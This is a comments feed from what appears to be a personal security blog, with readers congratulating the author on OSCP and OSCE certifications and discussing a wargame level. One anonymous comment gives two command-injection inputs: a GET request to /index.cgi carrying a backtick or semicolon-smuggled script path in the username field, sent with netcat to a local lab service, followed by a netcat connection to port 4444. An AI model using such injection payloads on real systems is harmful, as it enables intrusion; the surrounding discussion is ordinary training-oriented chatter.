tag:blogger.com,1999:blog-4358457520845155600.comments2019-12-22T22:48:15.938+08:00this is dearmo.dearmohttp://www.blogger.com/profile/06363970169771257645noreply@blogger.comBlogger10125tag:blogger.com,1999:blog-4358457520845155600.post-21642690332183056612014-04-25T17:14:13.429+08:002014-04-25T17:14:13.429+08:00Nice Tutorial!
Helped me a lot to understand eggh...Nice Tutorial! <br />Helped me a lot to understand egghunting, thank you!Anonymousnoreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-45772202616711367682012-08-12T15:51:17.135+08:002012-08-12T15:51:17.135+08:00Sure thing mon01! Feel free to write it up. I will...Sure thing mon01! Feel free to write it up. I will be happy to post a link to your review, or to post your review and give you full credit for it.<br /><br />yep I did level 18 by exhausting the open file descriptors.dearmohttps://www.blogger.com/profile/06363970169771257645noreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-30445867626564162542012-08-01T15:22:30.298+08:002012-08-01T15:22:30.298+08:00Hi dearmo,
would you mind if I did a write up of ...Hi dearmo,<br /><br />would you mind if I did a write up of level 18 and post it on your blog after you reviewing it as you already have announced it? <br /><br />I would go along the lines of exhausting the available open file descriptors. Just drop me a line what you think, no is also ok...<br /><br />My email is: mon01@gmx.netAnonymousnoreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-89952905861154705932012-08-01T14:45:19.869+08:002012-08-01T14:45:19.869+08:00You can also get away without the % 00 termination...You can also get away without the % 00 termination. In for instance two ways:<br /><br />1)<br /><br />nc localhost 1616<br />GET /index.cgi?username=`/*/MYSCRIPT`<br />CTRL+C<br />and then nc localhost 4444<br /><br />2) <br /><br />nc localhost 1616<br />GET /index.cgi?username="%3b/*/MYSCRIPT%3b"<br />CTRL+C<br />and then nc localhost 4444<br /><br />PS: Great find with the /*/ trick.Anonymousnoreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-15738688397745500902012-03-25T15:25:30.784+08:002012-03-25T15:25:30.784+08:00thanks Agoonie. I removed it accidentally, it'...thanks Agoonie. I removed it accidentally, it's back up now. saw that you joined the OSCE forum - congrats on passing!dearmohttps://www.blogger.com/profile/06363970169771257645noreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-58266328702721495032012-03-21T20:35:25.197+08:002012-03-21T20:35:25.197+08:00Congrats! And great blog by the way. What happene...Congrats! And great blog by the way. What happened to your original post about the OSCE? It gave me some hope that it was possible to pass it. :)Agoonienoreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-5094489484751713252012-02-22T08:11:52.155+08:002012-02-22T08:11:52.155+08:00rofl! I will "try" to live up to that bi...rofl! I will "try" to live up to that billing. Thanks vsrz!<br />I will be out of town for a couple of weeks. See ya guys when I get back.dearmohttps://www.blogger.com/profile/06363970169771257645noreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-83767380439796791662012-02-20T22:52:08.130+08:002012-02-20T22:52:08.130+08:00You are a man among men. Congrats Dearmo, you des...You are a man among men. Congrats Dearmo, you deserved this.<br /><br />/vsrz.vsrzhttps://www.blogger.com/profile/11037438492649260922noreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-79918855654718376962012-02-16T08:04:08.935+08:002012-02-16T08:04:08.935+08:00Thanks man! I just received my hardcopy OSCP cert...Thanks man! I just received my hardcopy OSCP cert in the mail yesterday. You are gonna love yours when it arrives!dearmohttps://www.blogger.com/profile/06363970169771257645noreply@blogger.comtag:blogger.com,1999:blog-4358457520845155600.post-19975330070853003932012-02-15T07:15:28.301+08:002012-02-15T07:15:28.301+08:00Congrats Buddy, very well done!Congrats Buddy, very well done!dark3xploitnoreply@blogger.com